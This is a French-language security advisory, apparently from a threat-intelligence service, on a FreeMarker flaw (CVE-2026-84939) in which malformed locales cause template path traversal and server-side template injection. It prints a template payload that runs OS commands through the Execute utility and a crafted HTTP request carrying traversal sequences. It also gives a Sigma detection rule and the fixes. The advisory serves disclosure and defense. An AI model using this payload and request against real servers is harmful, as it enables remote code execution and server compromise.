Aller au contenu

CVE-2026-84939 : traversée de répertoires par locale malformée et injection de modèle distant dans Apache freemarker

HERMES

HERMES THREAT SCORE & RISQUE D'ÉVASION DE MODÈLE

Cible : Moteur de modèles Apache FreeMarker — Recherche localisée (TemplateCache & TemplateLoaders)
Confiance : 96%
92 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 19 / 20
Activité de menace 17 / 20
Militarisation 18 / 20
Exposition 18 / 20
Prévalence 18 / 20
Impact 19 / 20
Maturité de l'exploit 18 / 20
Potentiel d'attaque en chaîne 19 / 20
⚖️ Divergence & Justification opérationnelle

Le score CVSS v3.1 évalue la vulnérabilité CVE-2026-84939 à 9.1 (CRITIQUE). Hermes établit le risque opérationnel global à 92. FreeMarker est embarqué dans des milliers d'applications Java d'entreprise (Spring Boot, Apache Struts, Liferay, Alfresco, progiciels ERP). Par défaut, le mécanisme de recherche localisée est activé. Lorsque les applications convertissent les en-têtes HTTP (tels qu'Accept-Language) ou des paramètres d'URL en objets Locale Java sans assainissement strict, des séquences de traversée de répertoires (../) s'insèrent dans le chemin de résolution. Dans les contextes où l'attaquant peut déposer des fichiers sur le serveur, cette traversée se transforme en injection de modèle côté serveur (SSTI) et en exécution de code arbitraire via les classes utilitaires natives de FreeMarker.

HASS

SCORE DE SÉVÉRITÉ AGENTIQUE HASS & INJECTION D'ÉCHAFAUDAGES DE CODE

Cible : Chaînes d'outillage de développement, moteurs de génération de code IA & templates de prompts
Confiance : 90%
75 / 100
ÉLEVÉ

Mesure le risque systémique spécifique découlant de l'autonomie, de l'autorité des outils et de l'exécution en cascade.

Décomposition des dimensions
Autonomie décisionnelle 13 / 20
Accès aux outils & APIs 15 / 20
Privilege 13 / 15
Persistence 11 / 15
External Impact 12 / 15
Propagation 11 / 15
⚖️ Divergence & Justification opérationnelle

Dans les environnements d'outillage de développement assisté par IA et de génération automatisée d'applications, FreeMarker est fréquemment utilisé pour rendre des canevas de code source, des modèles de prompts et des configurations de pipelines. Une traversée de templates permet d'injecter des instructions cachées ou du code malveillant directement dans les livrables générés par les agents.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-84939: Path Traversal to Remote Template Injection and Code Execution via Malformed Locale in Apache FreeMarkerVULNÉRABILITÉ

Nœuds connectés : 2
Relations sortantes actives
→ affectsCOMPOSANTGitLab CE / EE
98% VERY_HIGH

Complete DevOps and DevSecOps lifecycle platform providing Git repository management, CI/CD pipelines, and security automation.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in GitLab Community & Enterprise Edition documented in Hermes dossier.”

Preuves vérifiées associées :
→ usesTECHNIQUE D'ATTAQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Preuves vérifiées associées :

1. Contexte technique & matrice des logiciels affectés

Section intitulée « 1. Contexte technique & matrice des logiciels affectés »

L’architecture de FreeMarker repose sur des implémentations concrètes de l’interface TemplateLoader pour localiser et lire les modèles sur disque ou dans les archives d’application.

ParamètreSpécification techniqueSignification opérationnelle
Identifiant CVECVE-2026-84939Avis de sécurité officiel Apache FreeMarker
Classe de vulnérabilitéTraversée de répertoires / Injection SSTI (CWE-22, CWE-1336)Échappement de racine par concaténation de paramètres de locale
Composant vulnérablefreemarker.cache.TemplateCache, ClassTemplateLoader, WebappTemplateLoaderSous-système de résolution et de mise en cache des modèles
Mécanisme déclencheurObjet Locale contenant des séquences ..La recherche localisée génère des chemins rétrogradant de la racine
Configuration par défautlocalized_lookup = trueVulnérable dans les configurations d’origine
Privilèges requisAucun (PR:N)L’attaquant manipule des en-têtes ou paramètres de requêtes HTTP
Interaction utilisateurAucune (UI:N)Traitement serveur automatisé
Versions affectéesorg.freemarker:freemarker 2.2.0 - 2.3.34
org.freemarker:freemarker-gae 2.2.0 - 2.3.34
Applications web Java d’entreprise, portails CMS et services Spring
Version corrigée2.3.35Introduction du validateur _TemplatePathUtils.isInsideBaseDir

2. Anatomie de la vulnérabilité & analyse de cause racine

Section intitulée « 2. Anatomie de la vulnérabilité & analyse de cause racine »

Dans FreeMarker, lorsqu’une application charge un modèle :

Template t = cfg.getTemplate("facture.ftl", userLocale);

Si le paramètre localized_lookup est actif (valeur par défaut), FreeMarker génère une hiérarchie de noms de fichiers candidats adaptés à la locale du client. Par exemple, pour fr_CA_montreal :

  1. facture_fr_CA_montreal.ftl
  2. facture_fr_CA.ftl
  3. facture_fr.ftl
  4. facture.ftl

FreeMarker construit ces variantes en concaténant le nom de base avec les valeurs textuelles issues des méthodes getLanguage(), getCountry() et getVariant() de l’objet Locale.

De nombreux contrôleurs web créent des objets Locale directement à partir des données reçues des utilisateurs :

// Schéma classique sans validation
String lang = request.getParameter("lang"); // L'attaquant injecte : "../../televersements/malveillant"
Locale userLocale = Locale.forLanguageTag(lang);
Template template = freemarkerConfig.getTemplate("public/index.ftl", userLocale);

Lors de la recherche localisée, FreeMarker forge un chemin tel que : public/index_en_.._malveillant.ftl → qui se résout vers index_malveillant.ftl dans le répertoire parent !

Tandis que FileTemplateLoader implémentait une vérification canonique vis-à-vis de son baseDir, d’autres chargeurs essentiels en étaient dépourvus :

  • ClassTemplateLoader résout les ressources via ClassLoader.getResource(), permettant de naviguer dans le classpath.
  • WebappTemplateLoader interroge ServletContext.getResource(), permettant d’accéder à l’arborescence de l’application web (/WEB-INF/, /televersements/, etc.).

Sans validation vérifiant que le chemin ne remonte pas au-delà de la racine autorisée, le chargeur ouvre des fichiers situés hors du bac à sable prévu.


3. Vecteurs de menace & cinématique d’exploitation

Section intitulée « 3. Vecteurs de menace & cinématique d’exploitation »
flowchart TD
A["Attaquant / Requête HTTP"] -->|"1. Injecte une locale malformée (lang=.._.._televersements_avatar.png)"| B["Application web d'entreprise (Spring / Struts)"]
B -->|"2. Instancie un objet Locale sans assainissement"| C["FreeMarker getTemplate('accueil.ftl', locale)"]
C -->|"3. La recherche localisée génère le chemin de traversée"| D["WebappTemplateLoader / ClassTemplateLoader"]
D -->|"4. Le chemin s'échappe de /templates/ vers /televersements/"| E["Charge le fichier piégé avatar.png"]
E -->|"5. Le moteur interprète la directive FreeMarker : ?new()"| F["freemarker.template.utility.Execute"]
F -->|"6. Exécution de commande OS arbitraire"| G["Compromission totale du serveur hôte / conteneur"]

Étape 1 : téléversement d’un modèle malveillant

Section intitulée « Étape 1 : téléversement d’un modèle malveillant »

Dans une application d’entreprise autorisant le dépôt d’avatars ou de pièces jointes, l’attaquant dépose un fichier contenant des directives FreeMarker :

<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("id; whoami; uname -a") }

Étape 2 : déclenchement de la traversée localisée

Section intitulée « Étape 2 : déclenchement de la traversée localisée »

L’attaquant sollicite la page en transmettant la locale manipulée :

GET /portal/accueil?lang=.._.._televersements_avatar.png HTTP/1.1
Host: cible-entreprise.local
Accept-Language: ../../televersements/avatar.png
  1. FreeMarker tente de charger accueil_.._.._televersements_avatar.png.ftl.
  2. Le chargeur normalise les points de traversée et ouvre le fichier déposé.
  3. FreeMarker compile et exécute le modèle.
  4. La classe utilitaire Execute lance la commande système et renvoie le résultat dans la réponse HTTP.

4. Impact doctrinal sur les architectures java d’entreprise & agents IA

Section intitulée « 4. Impact doctrinal sur les architectures java d’entreprise & agents IA »

1. Ubiquité au sein des infrastructures patrimoniales et modernes

Section intitulée « 1. Ubiquité au sein des infrastructures patrimoniales et modernes »

FreeMarker est intégré au cœur d’architectures d’entreprise critiques. Une vulnérabilité de traversée au niveau du mécanisme de résolution de modèles contourne les restrictions d’accès de multiples portails multi-locataires.

2. Mutation immédiate de traversée en exécution de code

Section intitulée « 2. Mutation immédiate de traversée en exécution de code »

Contrairement aux traversées de répertoires en simple lecture, l’interprétation par un moteur de gabarits transforme immédiatement la lecture de fichier en exécution de code distant (SSTI).

3. Impact sur la génération automatisée de code par agents IA

Section intitulée « 3. Impact sur la génération automatisée de code par agents IA »

Les assistants et agents développeurs s’appuient sur FreeMarker pour fabriquer du code source et instancier des microservices. La compromission des modèles permet d’introduire des portes dérobées dans le code produit.


5. Chasse aux menaces, détection & investigation forensique

Section intitulée « 5. Chasse aux menaces, détection & investigation forensique »

Règle Sigma : tentative de traversée de locale FreeMarker dans les logs web

Section intitulée « Règle Sigma : tentative de traversée de locale FreeMarker dans les logs web »
title: Tentative de traversée de locale Apache FreeMarker (CVE-2026-84939)
id: cve-2026-84939-freemarker-traversal-fr
status: experimental
description: Détecte les séquences de traversée de répertoires (../, ..\, %2e%2e) injectées dans les paramètres de langue ou les en-têtes Accept-Language.
author: Hermes Codex Threat Intelligence
date: 2026-09-14
references:
- https://lists.apache.org/thread/hrd7o2ylwkkswdyhyzllgqt0f80kyd5y
- https://nvd.nist.gov/vuln/detail/CVE-2026-84939
tags:
- attack.initial_access
- attack.t1190
- attack.defense_evasion
logsource:
category: webserver
detection:
selection_traversal:
cs-method:
- GET
- POST
c-uri-query|contains:
- "../"
- "..\\"
- "%2e%2e"
- ".._"
- "_.."
selection_headers:
cs(Accept-Language)|contains:
- "../"
- "..\\"
- "%2e%2e"
- ".."
condition: selection_traversal or selection_headers
falsepositives:
- Rares en-têtes multilingues avec balises personnalisées contenant des points dans un format propriétaire.
level: high

Phase tactiqueIdentifiantNom de la techniqueContexte d’exploitation
Accès initialT1190Exploitation d’application accessibleInjection de séquences de traversée via les requêtes HTTP
ExécutionT1059Interpréteur de commandes et scriptsInjection SSTI via freemarker.template.utility.Execute
Évasion de défenseT1036MasquageDissimulation de modèles FTL dans des images ou avatars
Élévation de privilègesT1068Exploitation pour élévation de privilègesSortie du contexte de modèle pour exécuter des commandes OS
CollecteT1005Données du système localLecture de configurations internes et de secrets d’entreprise

1. Mise à niveau immédiate vers Apache FreeMarker 2.3.35

Section intitulée « 1. Mise à niveau immédiate vers Apache FreeMarker 2.3.35 »

Déployez la version 2.3.35 sur l’ensemble de vos projets. Cette version intègre la vérification _TemplatePathUtils.isInsideBaseDir(name) au sein des classes ClassTemplateLoader et WebappTemplateLoader, rejetant immédiatement les chemins s’échappant de la racine avec une exception MalformedTemplateNameException :

<!-- Mise à niveau de la dépendance Maven -->
<dependency>
<groupId>org.freemarker</groupId>
<artifactId>freemarker</artifactId>
<version>2.3.35</version>
</dependency>

2. Mesure palliative immédiate : désactivation de la recherche localisée

Section intitulée « 2. Mesure palliative immédiate : désactivation de la recherche localisée »

Si la mise à jour ne peut être appliquée sans délai, désactivez globalement localized_lookup. Le moteur ne cherchera alors que le nom exact du fichier sans adjoindre les sous-variantes de locale :

// Désactivation de la recherche localisée
freemarkerConfig.setLocalizedLookup(false);

Ou dans application.properties pour Spring Boot :

spring.freemarker.settings.localized_lookup=false

3. Restriction du résolveur de classes de modèles

Section intitulée « 3. Restriction du résolveur de classes de modèles »

Configurez le résolveur de classes pour interdire l’instanciation de classes utilitaires dangereuses comme Execute ou ObjectConstructor :

// Configuration du résolveur sécurisé
freemarkerConfig.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

8. Renseignement sur les menaces associées & références

Section intitulée « 8. Renseignement sur les menaces associées & références »